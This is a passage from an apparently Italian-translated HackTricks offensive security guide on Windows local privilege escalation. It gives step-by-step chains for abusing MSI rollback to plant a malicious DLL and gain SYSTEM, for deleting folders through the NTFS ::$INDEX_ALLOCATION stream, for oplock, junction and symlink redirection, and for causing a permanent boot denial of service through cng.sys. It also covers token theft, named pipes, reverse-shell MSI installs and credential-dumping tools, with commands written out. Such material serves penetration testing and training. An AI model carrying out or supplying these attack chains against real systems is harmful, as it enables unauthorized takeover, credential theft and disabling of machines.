  • Ora C:\Config.Msi è vuota, pronta per essere hijackata.

A questo punto, trigger the SYSTEM-level arbitrary folder delete vulnerability per cancellare C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones

  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Ricrea tu stesso la cartella C:\Config.Msi.

  • Imposta weak DACLs (es., Everyone:F), e tieni un handle aperto con WRITE_DAC.

  • Step 7: Run Another Install

  • Installa il .msi di nuovo, con:

  • TARGETDIR: percorso scrivibile.

  • ERROROUT: una variabile che causa un failure forzato.

  • Questa installazione sarà usata per triggerare di nuovo il rollback, che legge .rbs e .rbf.

  • Step 8: Monitor for .rbs

  • Usa ReadDirectoryChangesW per monitorare C:\Config.Msi fino a quando non appare un nuovo .rbs.

  • Cattura il suo nome file.

  • Step 9: Sync Before Rollback

  • Il .msi contiene una custom install action (SyncBeforeRollback) che:

  • Segnala un evento quando il .rbs è creato.

  • Poi attende prima di continuare.

  • Step 10: Reapply Weak ACL

  • Dopo aver ricevuto l’evento .rbs created:

  • Il Windows Installer riapplica ACL forti a C:\Config.Msi.

  • Ma siccome hai ancora un handle con WRITE_DAC, puoi riapplicare ACL deboli di nuovo.

Le ACL sono applicate solo all’apertura dell’handle, quindi puoi ancora scrivere nella cartella.

  • Step 11: Drop Fake .rbs and .rbf

  • Sovrascrivi il file .rbs con uno fake rollback script che istruisce Windows a:

  • Ripristinare il tuo file .rbf (malicious DLL) in una location privilegiata (es., C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Depositare il tuo fake .rbf contenente una malicious SYSTEM-level payload DLL.

  • Step 12: Trigger the Rollback

  • Segnala l’evento di sync così l’installer riprende.

  • Una type 19 custom action (ErrorOut) è configurata per fallire intenzionalmente l’install in un punto noto.

  • Questo provoca l’inizio del rollback.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • Legge il tuo malicious .rbs.

  • Copia la tua .rbf DLL nella destinazione target.

  • Ora hai la tua malicious DLL in a SYSTEM-loaded path.

  • Final Step: Execute SYSTEM Code

  • Esegui un binary affidabile auto-elevated (es., osk.exe) che carica la DLL che hai hijackato.

  • Boom: il tuo codice viene eseguito come SYSTEM.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

La principale MSI rollback technique (la precedente) assume che tu possa cancellare un intera cartella (es., C:\Config.Msi). Ma cosa succede se la tua vulnerabilità permette solo la cancellazione arbitraria di file?

Potresti sfruttare gli NTFS internals: ogni cartella ha un alternate data stream nascosto chiamato:

C:\SomeFolder::$INDEX_ALLOCATION

Questo stream memorizza i metadati dell’indice della cartella.

Quindi, se elimini lo stream ::$INDEX_ALLOCATION di una cartella, NTFS rimuove l’intera cartella dal file system.

Puoi farlo usando le API standard per la cancellazione dei file, come:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Anche se stai chiamando un’API di cancellazione di file, essa cancella la cartella stessa.

Da Folder Contents Delete a SYSTEM EoP

Che succede se la tua primitiva non ti permette di cancellare file/cartelle arbitrari, ma ti consente di eliminare il contenuto di una cartella controllata dall’attaccante?

  1. Step 1: Configura una cartella e un file esca
  • Crea: C:\temp\folder1
  • Al suo interno: C:\temp\folder1\file1.txt
  1. Step 2: Posiziona un oplock su file1.txt
  • L’oplock mette in pausa l’esecuzione quando un processo privilegiato tenta di cancellare file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Passo 3: Attivare il processo SYSTEM (es., SilentCleanup)
  • Questo processo scansiona le cartelle (es., %TEMP%) e prova a eliminare il loro contenuto.
  • Quando raggiunge file1.txt, la oplock si attiva e passa il controllo alla tua callback.
  1. Passo 4: All’interno della callback dell’oplock – reindirizza la cancellazione

  • Opzione A: Sposta file1.txt altrove

  • Questo svuota folder1 senza rompere l’oplock.

  • Non cancellare file1.txt direttamente — ciò rilascerebbe l’oplock prematuramente.

  • Opzione B: Converti folder1 in una junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opzione C: Crea un symlink in \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Questo prende di mira lo stream interno di NTFS che memorizza i metadati della cartella — cancellandolo si elimina la cartella.

  1. Passo 5: Rilascia l’oplock
  • Il processo SYSTEM continua e tenta di cancellare file1.txt.
  • Ma ora, a causa della junction + symlink, sta effettivamente cancellando:
C:\Config.Msi::$INDEX_ALLOCATION

Risultato: C:\Config.Msi viene eliminato da SYSTEM.

Da creazione arbitraria di cartella a DoS permanente

Sfrutta una primitiva che ti permette di creare una cartella arbitraria come SYSTEM/admin — anche se non puoi scrivere file o impostare permessi deboli.

Crea una cartella (non un file) con il nome di un driver Windows critico, ad esempio:

C:\Windows\System32\cng.sys
  • Questo percorso normalmente corrisponde al driver in kernel-mode cng.sys.
  • Se lo precrei come cartella, Windows non riesce a caricare il driver reale all’avvio.
  • Poi, Windows tenta di caricare cng.sys durante l’avvio.
  • Vede la cartella, non riesce a risolvere il driver reale, e va in crash o blocca l’avvio.
  • Non esiste nessun fallback, e nessuna possibilità di recupero senza intervento esterno (es., riparazione dell’avvio o accesso al disco).

Da percorsi di log/backup privilegiati + OM symlinks a sovrascrittura arbitraria di file / boot DoS

Quando un servizio privilegiato scrive log/exports a un percorso letto da una config scrivibile, reindirizza quel percorso con Object Manager symlinks + NTFS mount points per trasformare la scrittura privilegiata in una sovrascrittura arbitraria (anche senza SeCreateSymbolicLinkPrivilege).

Requisiti

  • La config che memorizza il percorso di destinazione è scrivibile dall’attaccante (es., %ProgramData%\...\.ini).
  • Capacità di creare un mount point verso \RPC Control e un OM file symlink (James Forshaw symboliclink-testing-tools).
  • Un’operazione privilegiata che scrive su quel percorso (log, export, report).

Esempio di catena

  1. Leggi la config per recuperare la destinazione del log privilegiato, es. SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txt in C:\ProgramData\ICONICS\IcoSetup64.ini.
  2. Reindirizza il percorso senza admin:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
  1. Attendere che il componente privilegiato scriva il log (es., l’admin attiva “send test SMS”). La scrittura ora finisce in C:\Windows\System32\cng.sys.
  2. Ispezionare il target sovrascritto (hex/PE parser) per confermare la corruzione; un riavvio costringerà Windows a caricare il percorso del driver manomesso → boot loop DoS. Questo si generalizza anche a qualsiasi file protetto che un servizio privilegiato aprirà in scrittura.

cng.sys viene normalmente caricato da C:\Windows\System32\drivers\cng.sys, ma se esiste una copia in C:\Windows\System32\cng.sys questa può essere tentata per prima, rendendolo un DoS sink affidabile per dati corrotti.

Da High Integrity a SYSTEM

Nuovo servizio

Se stai già eseguendo un processo con High Integrity, il percorso verso SYSTEM può essere semplice semplicemente creando ed eseguendo un nuovo service:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Quando crei un service binary assicurati che sia un servizio valido o che il binary esegua le azioni necessarie per funzionare come servizio, perché verrà terminato in 20s se non è un servizio valido.

AlwaysInstallElevated

Da un processo High Integrity puoi provare a abilitare le voci di registro AlwaysInstallElevated e installare una reverse shell usando un .msi wrapper.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

Puoi trovare il codice qui.

From SeDebug + SeImpersonate to Full Token privileges

Se hai quei token privileges (probabilmente li troverai in un processo già High Integrity), sarai in grado di aprire quasi qualsiasi processo (non i processi protetti) con il privilegio SeDebug, copiare il token del processo e creare un processo arbitrario con quel token.
Usando questa tecnica di solito si seleziona un processo in esecuzione come SYSTEM con tutti i token privileges (sì, puoi trovare processi SYSTEM senza tutti i token privileges).
Puoi trovare un esempio di codice che esegue la tecnica proposta qui.

Named Pipes

Questa tecnica è usata da meterpreter per escalation in getsystem. La tecnica consiste nel creare una pipe e poi creare/abusare un service per scrivere su quella pipe. Poi, il server che ha creato la pipe usando il privilegio SeImpersonate potrà impersonare il token del client della pipe (il service) ottenendo privilegi SYSTEM.
Se vuoi saperne di più sui named pipes dovresti leggere questo.
Se vuoi leggere un esempio di come passare da High Integrity a System usando named pipes dovresti leggere questo.

Dll Hijacking

Se riesci a hijackare una dll che viene loaded da un process in esecuzione come SYSTEM potrai eseguire codice arbitrario con quei permessi. Perciò Dll Hijacking è utile per questo tipo di privilege escalation e, inoltre, è molto più facile da ottenere da un processo High Integrity, poiché avrà write permissions sulle cartelle usate per caricare le dll.
Puoi saperne di più su Dll hijacking qui.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – Controlla misconfigurazioni e file sensibili (controlla qui). Rilevato.
JAWS – Verifica alcune possibili misconfigurazioni e raccoglie info (controlla qui).
privesc – Controlla misconfigurazioni
SessionGopher – Estrae informazioni sulle sessioni salvate di PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Usare -Thorough in locale.
Invoke-WCMDump – Estrae credenziali dal Credential Manager. Rilevato.
DomainPasswordSpray – Esegue password spray delle password raccolte attraverso il dominio
Inveigh – Inveigh è un tool PowerShell ADIDNS/LLMNR/mDNS spoofer e man-in-the-middle.
WindowsEnum – Enumerazione base per privesc di Windows
Sherlock **~~ – Cerca vulnerabilità privesc note (DEPRECATO in favore di Watson)
WINspect – Controlli locali (Necessita diritti Admin)

Exe

Watson – Cerca vulnerabilità privesc note (va compilato con VisualStudio) (precompiled)
SeatBelt – Enumera l’host alla ricerca di misconfigurazioni (più uno strumento di raccolta informazioni che di privesc) (va compilato) (precompiled)
LaZagne – Estrae credenziali da molti software (exe precompilato su GitHub)
SharpUP – Port di PowerUp in C#
Beroot ~~ – Controlla misconfigurazioni (eseguibile precompilato su GitHub). Non raccomandato. Non funziona bene su Win10.
Windows-Privesc-Check – Controlla possibili misconfigurazioni (exe generato da python). Non raccomandato. Non funziona bene su Win10.

Bat

winPEASbat – Tool creato basandosi su questo post (non richiede accesschk per funzionare correttamente ma può usarlo).

Local

Windows-Exploit-Suggester – Legge l’output di systeminfo e raccomanda exploit funzionanti (python locale)
Windows Exploit Suggester Next Generation – Legge l’output di systeminfo e raccomanda exploit funzionanti (python locale)

Meterpreter

multi/recon/local_exploit_suggestor

Devi compilare il progetto usando la versione corretta di .NET (vedi questo). Per vedere la versione di .NET installata sull’host vittima puoi fare:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks